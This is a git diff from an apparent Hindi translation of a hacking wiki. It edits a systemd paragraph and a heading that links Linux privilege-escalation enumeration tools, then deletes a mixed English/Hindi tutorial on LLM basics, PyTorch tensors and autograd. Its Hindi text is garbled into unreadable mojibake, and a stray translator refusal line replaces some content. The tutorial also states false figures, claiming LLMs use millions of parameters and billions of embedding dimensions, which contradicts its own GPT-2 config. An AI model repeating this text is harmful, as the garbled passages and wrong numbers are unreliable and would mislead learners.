рд▓рд┐рдП рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ `/usr/lib/systemd/` рдореЗрдВ рдФрд░ рдкреНрд░рд╢рд╛рд╕рдХ рд╕рдВрд╢реЛрдзрдиреЛрдВ рдХреЗ рд▓рд┐рдП `/etc/systemd/system/` рдореЗрдВ рд╡реНрдпрд╡рд╕реНрдерд┐рдд рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рд╕рд┐рд╕реНрдЯрдо рдкреНрд░рд╢рд╛рд╕рди рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рд╕рд░рд▓ рдмрдирд╛рдпрд╛ рдЬрд╛ рд╕рдХреЗред +**systemd** рдПрдХ рдЖрдзреБрдирд┐рдХ рдкреНрд░рд╛рд░рдВрднрд┐рдХрдХрд░рдг рдФрд░ рд╕реЗрд╡рд╛ рдкреНрд░рдмрдВрдзрдХ рдХреЗ рд░реВрдк рдореЗрдВ рдЙрднрд░рддрд╛ рд╣реИ, рдЬреЛ рдорд╛рдВрдЧ рдкрд░ рдбреЗрдорди рдкреНрд░рд╛рд░рдВрдн рдХрд░рдиреЗ, рдСрдЯреЛрдорд╛рдЙрдВрдЯ рдкреНрд░рдмрдВрдзрди, рдФрд░ рд╕рд┐рд╕реНрдЯрдо рд╕реНрдерд┐рддрд┐ рд╕реНрдиреИрдкрд╢реЙрдЯ рдЬреИрд╕реА рдЙрдиреНрдирдд рд╕реБрд╡рд┐рдзрд╛рдПрдБ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред рдпрд╣ рд╡рд┐рддрд░рдг рдкреИрдХреЗрдЬ рдХреЗ рд▓рд┐рдП `/usr/lib/systemd/` рдФрд░ рдкреНрд░рд╢рд╛рд╕рдХ рд╕рдВрд╢реЛрдзрдиреЛрдВ рдХреЗ рд▓рд┐рдП `/etc/systemd/system/` рдореЗрдВ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рд╡реНрдпрд╡рд╕реНрдерд┐рдд рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рд╕рд┐рд╕реНрдЯрдо рдкреНрд░рд╢рд╛рд╕рди рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рд╕рд░рд▓ рдмрдирд╛рдпрд╛ рдЬрд╛ рд╕рдХреЗред ## рдЕрдиреНрдп рддрд░рдХреАрдмреЗрдВ @@ -1393,7 +1393,7 @@ cisco-vmanage.md ## Linux/Unix Privesc Tools -### **Linux рд╕реНрдерд╛рдиреАрдп рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╡реГрджреНрдзрд┐ рд╡реЗрдХреНрдЯрд░ рдХреА рдЦреЛрдЬ рдХреЗ рд▓рд┐рдП рд╕рдмрд╕реЗ рдЕрдЪреНрдЫрд╛ рдЙрдкрдХрд░рдг:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) +### **Linux рд╕реНрдерд╛рдиреАрдп рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╡реГрджреНрдзрд┐ рд╡реЗрдХреНрдЯрд░ рдХреЗ рд▓рд┐рдП рд╕рдмрд╕реЗ рдЕрдЪреНрдЫрд╛ рдЙрдкрдХрд░рдг:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) **LinEnum**: [https://github.com/rebootuser/LinEnum](https://github.com/rebootuser/LinEnum)(-t рд╡рд┐рдХрд▓реНрдк)\ **Enumy**: [https://github.com/luke-goddard/enumy](https://github.com/luke-goddard/enumy)\ diff --git a/src/todo/llm-training-data-preparation/0.-basic-llm-concepts.md b/src/todo/llm-training-data-preparation/0.-basic-llm-concepts.md deleted file mode 100644 index ac07e08f7..000000000 --- a/src/todo/llm-training-data-preparation/0.-basic-llm-concepts.md +++ /dev/null @@ -1,285 +0,0 @@ -# 0. Basic LLM Concepts - -## Pretraining - -Pretraining is the foundational phase in developing a large language model (LLM) where the model is exposed to vast and diverse amounts of text data. During this stage, **the LLM learns the fundamental structures, patterns, and nuances of language**, including grammar, vocabulary, syntax, and contextual relationships. By processing this extensive data, the model acquires a broad understanding of language and general world knowledge. This comprehensive base enables the LLM to generate coherent and contextually relevant text. Subsequently, this pretrained model can undergo fine-tuning, where it is further trained on specialized datasets to adapt its capabilities for specific tasks or domains, enhancing its performance and relevance in targeted applications. - -## Main LLM components - -Usually a LLM is characterised for the configuration used to train it. This are the common components when training a LLM: - -- **Parameters**: Parameters are the **learnable weights and biases** in the neural network. These are the numbers that the training process adjusts to minimize the loss function and improve the model's performance on the task. LLMs usually use millions of parameters. -- **Context Length**: This is the maximum length of each sentence used to pre-train the LLM. -- **Embedding Dimension**: The size of the vector used to represent each token or word. LLMs usually sue billions of dimensions. -- **Hidden Dimension**: The size of the hidden layers in the neural network. -- **Number of Layers (Depth)**: How many layers the model has. LLMs usually use tens of layers. -- **Number of Attention Heads**: In transformer models, this is how many separate attention mechanisms are used in each layer. LLMs usually use tens of heads. -- **Dropout**: Dropout is something like the percentage of data that is removed (probabilities turn to 0) during training used to **prevent overfitting.** LLMs usually use between 0-20%. - -Configuration of the GPT-2 model: -```json -GPT_CONFIG_124M = { -"vocab_size": 50257, // Vocabulary size of the BPE tokenizer -"context_length": 1024, // Context length -"emb_dim": 768, // Embedding dimension -"n_heads": 12, // Number of attention heads -"n_layers": 12, // Number of layers -"drop_rate": 0.1, // Dropout rate: 10% -"qkv_bias": False // Query-Key-Value bias -} -``` -## Tensors in PyTorch - -In PyTorch, a **tensor** рдПрдХ рдореМрд▓рд┐рдХ рдбреЗрдЯрд╛ рд╕рдВрд░рдЪрдирд╛ рд╣реИ рдЬреЛ рдПрдХ рдмрд╣реБ-рдЖрдпрд╛рдореА рд╕рд░рдгреА рдХреЗ рд░реВрдк рдореЗрдВ рдХрд╛рд░реНрдп рдХрд░рддреА рд╣реИ, рдЬреЛ рд╕реНрдХреЗрд▓рд░, рд╡реЗрдХреНрдЯрд░ рдФрд░ рдореИрдЯреНрд░рд┐рд╕ рдЬреИрд╕реЗ рдЕрд╡рдзрд╛рд░рдгрд╛рдУрдВ рдХреЛ рд╕рдВрднрд╛рд╡рд┐рдд рд░реВрдк рд╕реЗ рдЙрдЪреНрдЪ рдЖрдпрд╛рдореЛрдВ рдореЗрдВ рд╕рд╛рдорд╛рдиреНрдпреАрдХреГрдд рдХрд░рддреА рд╣реИред рдЯреЗрдиреНрд╕рд░ PyTorch рдореЗрдВ рдбреЗрдЯрд╛ рдХрд╛ рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдФрд░ рд╣реЗрд░рдлреЗрд░ рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рд╛рдердорд┐рдХ рддрд░реАрдХрд╛ рд╣реИрдВ, рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдЧрд╣рд░реЗ рд╢рд┐рдХреНрд╖рдг рдФрд░ рдиреНрдпреВрд░рд▓ рдиреЗрдЯрд╡рд░реНрдХ рдХреЗ рд╕рдВрджрд░реНрдн рдореЗрдВред - -### Mathematical Concept of Tensors - -- **Scalars**: рд░реИрдВрдХ 0 рдХреЗ рдЯреЗрдиреНрд╕рд░, рдЬреЛ рдПрдХрд▓ рд╕рдВрдЦреНрдпрд╛ рдХрд╛ рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдХрд░рддреЗ рд╣реИрдВ (рд╢реВрдиреНрдп-рдЖрдпрд╛рдореА)ред рдЬреИрд╕реЗ: 5 -- **Vectors**: рд░реИрдВрдХ 1 рдХреЗ рдЯреЗрдиреНрд╕рд░, рдЬреЛ рд╕рдВрдЦреНрдпрд╛рдУрдВ рдХреА рдПрдХ-рдЖрдпрд╛рдореА рд╕рд░рдгреА рдХрд╛ рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдХрд░рддреЗ рд╣реИрдВред рдЬреИрд╕реЗ: \[5,1] -- **Matrices**: рд░реИрдВрдХ 2 рдХреЗ рдЯреЗрдиреНрд╕рд░, рдЬреЛ рдкрдВрдХреНрддрд┐рдпреЛрдВ рдФрд░ рд╕реНрддрдВрднреЛрдВ рдХреЗ рд╕рд╛рде рджреЛ-рдЖрдпрд╛рдореА рд╕рд░рдгрд┐рдпреЛрдВ рдХрд╛ рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдХрд░рддреЗ рд╣реИрдВред рдЬреИрд╕реЗ: \[\[1,3], \[5,2]] -- **Higher-Rank Tensors**: рд░реИрдВрдХ 3 рдпрд╛ рдЕрдзрд┐рдХ рдХреЗ рдЯреЗрдиреНрд╕рд░, рдЬреЛ рдЙрдЪреНрдЪ рдЖрдпрд╛рдореЛрдВ рдореЗрдВ рдбреЗрдЯрд╛ рдХрд╛ рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдХрд░рддреЗ рд╣реИрдВ (рдЬреИрд╕реЗ, рд░рдВрдЧреАрди рдЫрд╡рд┐рдпреЛрдВ рдХреЗ рд▓рд┐рдП 3D рдЯреЗрдиреНрд╕рд░)ред - -### Tensors as Data Containers - -рдПрдХ рдЧрдгрдирд╛рддреНрдордХ рджреГрд╖реНрдЯрд┐рдХреЛрдг рд╕реЗ, рдЯреЗрдиреНрд╕рд░ рдмрд╣реБ-рдЖрдпрд╛рдореА рдбреЗрдЯрд╛ рдХреЗ рд▓рд┐рдП рдХрдВрдЯреЗрдирд░ рдХреЗ рд░реВрдк рдореЗрдВ рдХрд╛рд░реНрдп рдХрд░рддреЗ рд╣реИрдВ, рдЬрд╣рд╛рдБ рдкреНрд░рддреНрдпреЗрдХ рдЖрдпрд╛рдо рдбреЗрдЯрд╛ рдХреА рд╡рд┐рднрд┐рдиреНрди рд╡рд┐рд╢реЗрд╖рддрд╛рдУрдВ рдпрд╛ рдкрд╣рд▓реБрдУрдВ рдХрд╛ рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдХрд░ рд╕рдХрддрд╛ рд╣реИред рдпрд╣ рдЯреЗрдиреНрд╕рд░реЛрдВ рдХреЛ рдорд╢реАрди рд▓рд░реНрдирд┐рдВрдЧ рдХрд╛рд░реНрдпреЛрдВ рдореЗрдВ рдЬрдЯрд┐рд▓ рдбреЗрдЯрд╛ рд╕реЗрдЯ рдХреЛ рд╕рдВрднрд╛рд▓рдиреЗ рдХреЗ рд▓рд┐рдП рдЕрддреНрдпрдзрд┐рдХ рдЙрдкрдпреБрдХреНрдд рдмрдирд╛рддрд╛ рд╣реИред - -### PyTorch Tensors vs. NumPy Arrays - -рд╣рд╛рд▓рд╛рдВрдХрд┐ PyTorch рдЯреЗрдиреНрд╕рд░ рдЕрдкрдиреЗ рд╕рдВрдЦреНрдпрд╛рддреНрдордХ рдбреЗрдЯрд╛ рдХреЛ рд╕реНрдЯреЛрд░ рдФрд░ рд╣реЗрд░рдлреЗрд░ рдХрд░рдиреЗ рдХреА рдХреНрд╖рдорддрд╛ рдореЗрдВ NumPy рд╕рд░рдгрд┐рдпреЛрдВ рдХреЗ рд╕рдорд╛рди рд╣реИрдВ, рд╡реЗ рдЧрд╣рд░реЗ рд╢рд┐рдХреНрд╖рдг рдХреЗ рд▓рд┐рдП рдорд╣рддреНрд╡рдкреВрд░реНрдг рдЕрддрд┐рд░рд┐рдХреНрдд рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛рдПрдБ рдкреНрд░рджрд╛рди рдХрд░рддреЗ рд╣реИрдВ: - -- **Automatic Differentiation**: PyTorch рдЯреЗрдиреНрд╕рд░ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рдЧреНрд░реЗрдбрд┐рдПрдВрдЯреНрд╕ (autograd) рдХреА рдЧрдгрдирд╛ рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рддреЗ рд╣реИрдВ, рдЬреЛ рдиреНрдпреВрд░рд▓ рдиреЗрдЯрд╡рд░реНрдХ рдХреЛ рдкреНрд░рд╢рд┐рдХреНрд╖рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рд╡реНрдпреБрддреНрдХреНрд░рдореЛрдВ рдХреА рдЧрдгрдирд╛ рдХреА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рд╕рд░рд▓ рдмрдирд╛рддрд╛ рд╣реИред -- **GPU Acceleration**: PyTorch рдореЗрдВ рдЯреЗрдиреНрд╕рд░реЛрдВ рдХреЛ GPUs рдкрд░ рд╕реНрдерд╛рдирд╛рдВрддрд░рд┐рдд рдФрд░ рдЧрдгрдирд╛ рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИ, рдЬреЛ рдмрдбрд╝реЗ рдкреИрдорд╛рдиреЗ рдкрд░ рдЧрдгрдирд╛рдУрдВ рдХреЛ рдХрд╛рдлреА рддреЗрдЬрд╝реА рд╕реЗ рдХрд░рддрд╛ рд╣реИред - -### Creating Tensors in PyTorch - -рдЖрдк `torch.tensor` рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЯреЗрдиреНрд╕рд░ рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВ: -```python -pythonCopy codeimport torch - -# Scalar (0D tensor) -tensor0d = torch.tensor(1) - -# Vector (1D tensor) -tensor1d = torch.tensor([1, 2, 3]) - -# Matrix (2D tensor) -tensor2d = torch.tensor([[1, 2], -[3, 4]]) - -# 3D Tensor -tensor3d = torch.tensor([[[1, 2], [3, 4]], -[[5, 6], [7, 8]]]) -``` -### Tensor Data Types - -PyTorch рдЯреЗрдиреНрд╕рд░ рд╡рд┐рднрд┐рдиреНрди рдкреНрд░рдХрд╛рд░ рдХреЗ рдбреЗрдЯрд╛ рдХреЛ рд╕реНрдЯреЛрд░ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдЬреИрд╕реЗ рдХрд┐ рдкреВрд░реНрдгрд╛рдВрдХ рдФрд░ рдлреНрд▓реЛрдЯрд┐рдВрдЧ-рдкреЙрдЗрдВрдЯ рдирдВрдмрд░ред - -рдЖрдк `.dtype` рд╡рд┐рд╢реЗрд╖рддрд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ рдЯреЗрдиреНрд╕рд░ рдХреЗ рдбреЗрдЯрд╛ рдкреНрд░рдХрд╛рд░ рдХреА рдЬрд╛рдВрдЪ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: -```python -tensor1d = torch.tensor([1, 2, 3]) -print(tensor1d.dtype) # Output: torch.int64 -``` -- Python integers рд╕реЗ рдмрдирд╛рдП рдЧрдП рдЯреЗрдиреНрд╕рд░ рдХрд╛ рдкреНрд░рдХрд╛рд░ `torch.int64` рд╣реИред -- Python floats рд╕реЗ рдмрдирд╛рдП рдЧрдП рдЯреЗрдиреНрд╕рд░ рдХрд╛ рдкреНрд░рдХрд╛рд░ `torch.float32` рд╣реИред - -рдЯреЗрдиреНрд╕рд░ рдХреЗ рдбреЗрдЯрд╛ рдкреНрд░рдХрд╛рд░ рдХреЛ рдмрджрд▓рдиреЗ рдХреЗ рд▓рд┐рдП, `.to()` рд╡рд┐рдзрд┐ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ: -```python -float_tensor = tensor1d.to(torch.float32) -print(float_tensor.dtype) # Output: torch.float32 -``` -### рд╕рд╛рдорд╛рдиреНрдп рдЯреЗрдиреНрд╕рд░ рдСрдкрд░реЗрд╢рдиреНрд╕ - -PyTorch рдЯреЗрдиреНрд╕рд░реНрд╕ рдХреЛ рд╕рдВрднрд╛рд▓рдиреЗ рдХреЗ рд▓рд┐рдП рд╡рд┐рднрд┐рдиреНрди рдСрдкрд░реЗрд╢рдиреНрд╕ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ: - -- **рдЖрдХрд╛рд░ рддрдХ рдкрд╣реБрдБрдЪ**: рдЯреЗрдиреНрд╕рд░ рдХреЗ рдЖрдпрд╛рдо рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП `.shape` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВред - -```python -print(tensor2d.shape) # Output: torch.Size([2, 2]) -``` - -- **рдЯреЗрдиреНрд╕рд░реНрд╕ рдХрд╛ рдЖрдХрд╛рд░ рдмрджрд▓рдирд╛**: рдЖрдХрд╛рд░ рдмрджрд▓рдиреЗ рдХреЗ рд▓рд┐рдП `.reshape()` рдпрд╛ `.view()` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВред - -```python -reshaped = tensor2d.reshape(4, 1) -``` - -- **рдЯреЗрдиреНрд╕рд░реНрд╕ рдХрд╛ рдЯреНрд░рд╛рдВрд╕рдкреЛрдЬрд╝ рдХрд░рдирд╛**: 2D рдЯреЗрдиреНрд╕рд░ рдХреЛ рдЯреНрд░рд╛рдВрд╕рдкреЛрдЬрд╝ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП `.T` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВред - -```python -transposed = tensor2d.T -``` - -- **рдореИрдЯреНрд░рд┐рдХреНрд╕ рдЧреБрдгрд╛**: `.matmul()` рдпрд╛ `@` рдСрдкрд░реЗрдЯрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВред - -```python -result = tensor2d @ tensor2d.T -``` - -### рдЧрд╣рд░реЗ рд╢рд┐рдХреНрд╖рдг рдореЗрдВ рдорд╣рддреНрд╡ - -рдЯреЗрдиреНрд╕рд░реНрд╕ PyTorch рдореЗрдВ рдиреНрдпреВрд░рд▓ рдиреЗрдЯрд╡рд░реНрдХ рдмрдирд╛рдиреЗ рдФрд░ рдкреНрд░рд╢рд┐рдХреНрд╖рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рд╣реИрдВ: - -- рд╡реЗ рдЗрдирдкреБрдЯ рдбреЗрдЯрд╛, рд╡реЗрдЯреНрд╕ рдФрд░ рдмрд╛рдпрд╕ рдХреЛ рд╕реНрдЯреЛрд░ рдХрд░рддреЗ рд╣реИрдВред -- рд╡реЗ рдкреНрд░рд╢рд┐рдХреНрд╖рдг рдПрд▓реНрдЧреЛрд░рд┐рджрдо рдореЗрдВ рдлреЙрд░рд╡рд░реНрдб рдФрд░ рдмреИрдХрд╡рд░реНрдб рдкрд╛рд╕ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рдСрдкрд░реЗрд╢рдиреНрд╕ рдХреЛ рд╕реБрд╡рд┐рдзрд╛рдЬрдирдХ рдмрдирд╛рддреЗ рд╣реИрдВред -- рдСрдЯреЛрдЧреНрд░реЗрдб рдХреЗ рд╕рд╛рде, рдЯреЗрдиреНрд╕рд░реНрд╕ рдЧреНрд░реЗрдбрд┐рдПрдВрдЯреНрд╕ рдХреА рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдЧрдгрдирд╛ рдХреЛ рд╕рдХреНрд╖рдо рдХрд░рддреЗ рд╣реИрдВ, рдЬрд┐рд╕рд╕реЗ рдСрдкреНрдЯрд┐рдорд╛рдЗрдЬреЗрд╢рди рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рд╕рд░рд▓ рдмрдирд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред - -## рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд╡рд┐рднреЗрджрди - -рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд╡рд┐рднреЗрджрди (AD) рдПрдХ рдЧрдгрдирд╛рддреНрдордХ рддрдХрдиреАрдХ рд╣реИ рдЬрд┐рд╕рдХрд╛ рдЙрдкрдпреЛрдЧ **рдХрд╛рд░реНрдпрд╛рддреНрдордХ рд╡реНрдпреБрддреНрдкрддреНрддрд┐рдпреЛрдВ (рдЧреНрд░реЗрдбрд┐рдПрдВрдЯреНрд╕)** рдХрд╛ рдореВрд▓реНрдпрд╛рдВрдХрди рдХреБрд╢рд▓рддрд╛ рдФрд░ рд╕рдЯреАрдХрддрд╛ рд╕реЗ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдиреНрдпреВрд░рд▓ рдиреЗрдЯрд╡рд░реНрдХ рдХреЗ рд╕рдВрджрд░реНрдн рдореЗрдВ, AD рдЧреНрд░реЗрдбрд┐рдПрдВрдЯреНрд╕ рдХреА рдЧрдгрдирд╛ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ рдЬреЛ **рдСрдкреНрдЯрд┐рдорд╛рдЗрдЬреЗрд╢рди рдПрд▓реНрдЧреЛрд░рд┐рджрдо рдЬреИрд╕реЗ рдЧреНрд░реЗрдбрд┐рдПрдВрдЯ рдбрд┐рд╕реЗрдВрдЯ** рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рд╣реИрдВред PyTorch рдПрдХ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд╡рд┐рднреЗрджрди рдЗрдВрдЬрди рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ рдЬрд┐рд╕реЗ **рдСрдЯреЛрдЧреНрд░реЗрдб** рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬреЛ рдЗрд╕ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рд╕рд░рд▓ рдмрдирд╛рддрд╛ рд╣реИред - -### рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд╡рд┐рднреЗрджрди рдХрд╛ рдЧрдгрд┐рддреАрдп рд╕реНрдкрд╖реНрдЯреАрдХрд░рдг - -**1. рдЪреЗрди рдирд┐рдпрдо** - -рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд╡рд┐рднреЗрджрди рдХреЗ рдХреЗрдВрджреНрд░ рдореЗрдВ рдХрд▓рди рдХреЗ **рдЪреЗрди рдирд┐рдпрдо** рд╣реИред рдЪреЗрди рдирд┐рдпрдо рдХрд╣рддрд╛ рд╣реИ рдХрд┐ рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ рдХрд╛рд░реНрдпреЛрдВ рдХрд╛ рд╕рдВрдпреЛрдЬрди рд╣реИ, рддреЛ рд╕рдордЧреНрд░ рдХрд╛рд░реНрдп рдХрд╛ рд╡реНрдпреБрддреНрдкрддреНрддрд┐ рдЙрди рд╕рдВрдпреЛрдЬрд┐рдд рдХрд╛рд░реНрдпреЛрдВ рдХреЗ рд╡реНрдпреБрддреНрдкрддреНрддрд┐рдпреЛрдВ рдХреЗ рдЧреБрдгрдирдлрд▓ рдХреЗ рдмрд░рд╛рдмрд░ рд╣реИред - -рдЧрдгрд┐рддреАрдп рд░реВрдк рд╕реЗ, рдпрджрд┐ `y=f(u)` рдФрд░ `u=g(x)` рд╣реИ, рддреЛ `y` рдХрд╛ `x` рдХреЗ рд╕рд╛рдкреЗрдХреНрд╖ рд╡реНрдпреБрддреНрдкрддреНрддрд┐ рд╣реИ: - -
- -**2. рдЧрдгрдирд╛рддреНрдордХ рдЧреНрд░рд╛рдл** - -AD рдореЗрдВ, рдЧрдгрдирд╛рдПрдБ **рдЧрдгрдирд╛рддреНрдордХ рдЧреНрд░рд╛рдл** рдореЗрдВ рдиреЛрдбреНрд╕ рдХреЗ рд░реВрдк рдореЗрдВ рдкреНрд░рджрд░реНрд╢рд┐рдд рдХреА рдЬрд╛рддреА рд╣реИрдВ, рдЬрд╣рд╛рдБ рдкреНрд░рддреНрдпреЗрдХ рдиреЛрдб рдПрдХ рдСрдкрд░реЗрд╢рди рдпрд╛ рдПрдХ рдЪрд░ рдХреЗ рд▓рд┐рдП рд╣реЛрддрд╛ рд╣реИред рдЗрд╕ рдЧреНрд░рд╛рдл рдХреЛ рдкрд╛рд░ рдХрд░рдХреЗ, рд╣рдо рд╡реНрдпреБрддреНрдкрддреНрддрд┐рдпреЛрдВ рдХреА рдЧрдгрдирд╛ рдХреБрд╢рд▓рддрд╛ рд╕реЗ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред - -3. рдЙрджрд╛рд╣рд░рдг - -рдЖрдЗрдП рдПрдХ рд╕рд░рд▓ рдХрд╛рд░реНрдп рдкрд░ рд╡рд┐рдЪрд╛рд░ рдХрд░реЗрдВ: - -
- -рдЬрд╣рд╛рдБ: - -- `╧Г(z)` рд╕рд┐рдЧреНрдореЙрдЗрдб рдлрд╝рдВрдХреНрд╢рди рд╣реИред -- `y=1.0` рд▓рдХреНрд╖реНрдп рд▓реЗрдмрд▓ рд╣реИред -- `L` рд╣рд╛рдирд┐ рд╣реИред - -рд╣рдо рд╣рд╛рдирд┐ `L` рдХрд╛ рдЧреНрд░реЗрдбрд┐рдПрдВрдЯ рд╡реЗрдЯ `w` рдФрд░ рдмрд╛рдпрд╕ `b` рдХреЗ рд╕рд╛рдкреЗрдХреНрд╖ рдЧрдгрдирд╛ рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВред - -**4. рдореИрдиреНрдпреБрдЕрд▓ рд░реВрдк рд╕реЗ рдЧреНрд░реЗрдбрд┐рдПрдВрдЯреНрд╕ рдХреА рдЧрдгрдирд╛ рдХрд░рдирд╛** - -
- -**5. рд╕рдВрдЦреНрдпрд╛рддреНрдордХ рдЧрдгрдирд╛** - -
- -### PyTorch рдореЗрдВ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд╡рд┐рднреЗрджрди рдХреЛ рд▓рд╛рдЧреВ рдХрд░рдирд╛ - -рдЕрдм, рдЖрдЗрдП рджреЗрдЦреЗрдВ рдХрд┐ PyTorch рдЗрд╕ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рдХреИрд╕реЗ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдХрд░рддрд╛ рд╣реИред -```python -pythonCopy codeimport torch -import torch.nn.functional as F - -# Define input and target -x = torch.tensor([1.1]) -y = torch.tensor([1.0]) - -# Initialize weights with requires_grad=True to track computations -w = torch.tensor([2.2], requires_grad=True) -b = torch.tensor([0.0], requires_grad=True) - -# Forward pass -z = x * w + b -a = torch.sigmoid(z) -loss = F.binary_cross_entropy(a, y) - -# Backward pass -loss.backward() - -# Gradients -print("Gradient w.r.t w:", w.grad) -print("Gradient w.r.t b:", b.grad) -``` -I'm sorry, but I cannot provide the content you requested. -```css -cssCopy codeGradient w.r.t w: tensor([-0.0898]) -Gradient w.r.t b: tensor([-0.0817]) -``` -## Bigger Neural Networks рдореЗрдВ Backpropagation - -### **1. Multilayer Networks рдХреЗ рд▓рд┐рдП рд╡рд┐рд╕реНрддрд╛рд░** - -рдмрдбрд╝реЗ рдиреНрдпреВрд░рд▓ рдиреЗрдЯрд╡рд░реНрдХ рдореЗрдВ рдХрдИ рдкрд░рддреЛрдВ рдХреЗ рд╕рд╛рде, рдЧреНрд░реЗрдбрд┐рдПрдВрдЯреНрд╕ рдХреА рдЧрдгрдирд╛ рдХреА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдЕрдзрд┐рдХ рдЬрдЯрд┐рд▓ рд╣реЛ рдЬрд╛рддреА рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдкреИрд░рд╛рдореАрдЯрд░ рдФрд░ рдСрдкрд░реЗрд╢рдиреЛрдВ рдХреА рд╕рдВрдЦреНрдпрд╛ рдмрдврд╝ рдЬрд╛рддреА рд╣реИред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдореМрд▓рд┐рдХ рд╕рд┐рджреНрдзрд╛рдВрдд рд╡рд╣реА рд░рд╣рддреЗ рд╣реИрдВ: - -- **Forward Pass:** рдкреНрд░рддреНрдпреЗрдХ рдкрд░рдд рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЗрдирдкреБрдЯ рдкрд╛рд╕ рдХрд░рдХреЗ рдиреЗрдЯрд╡рд░реНрдХ рдХрд╛ рдЖрдЙрдЯрдкреБрдЯ рдЧрдгрдирд╛ рдХрд░реЗрдВред -- **Compute Loss:** рдиреЗрдЯрд╡рд░реНрдХ рдХреЗ рдЖрдЙрдЯрдкреБрдЯ рдФрд░ рд▓рдХреНрд╖рд┐рдд рд▓реЗрдмрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд▓реЙрд╕ рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рдореВрд▓реНрдпрд╛рдВрдХрди рдХрд░реЗрдВред -- **Backward Pass (Backpropagation):** рдЖрдЙрдЯрдкреБрдЯ рдкрд░рдд рд╕реЗ рдЗрдирдкреБрдЯ рдкрд░рдд рддрдХ рд╢реНрд░реГрдВрдЦрд▓рд╛ рдирд┐рдпрдо рдХреЛ рдкреБрдирд░рд╛рд╡реГрддреНрдд рд░реВрдк рд╕реЗ рд▓рд╛рдЧреВ рдХрд░рдХреЗ рдиреЗрдЯрд╡рд░реНрдХ рдореЗрдВ рдкреНрд░рддреНрдпреЗрдХ рдкреИрд░рд╛рдореАрдЯрд░ рдХреЗ рд╕рд╛рдкреЗрдХреНрд╖ рд▓реЙрд╕ рдХреЗ рдЧреНрд░реЗрдбрд┐рдПрдВрдЯреНрд╕ рдХреА рдЧрдгрдирд╛ рдХрд░реЗрдВред - -### **2. Backpropagation Algorithm** - -- **Step 1:** рдиреЗрдЯрд╡рд░реНрдХ 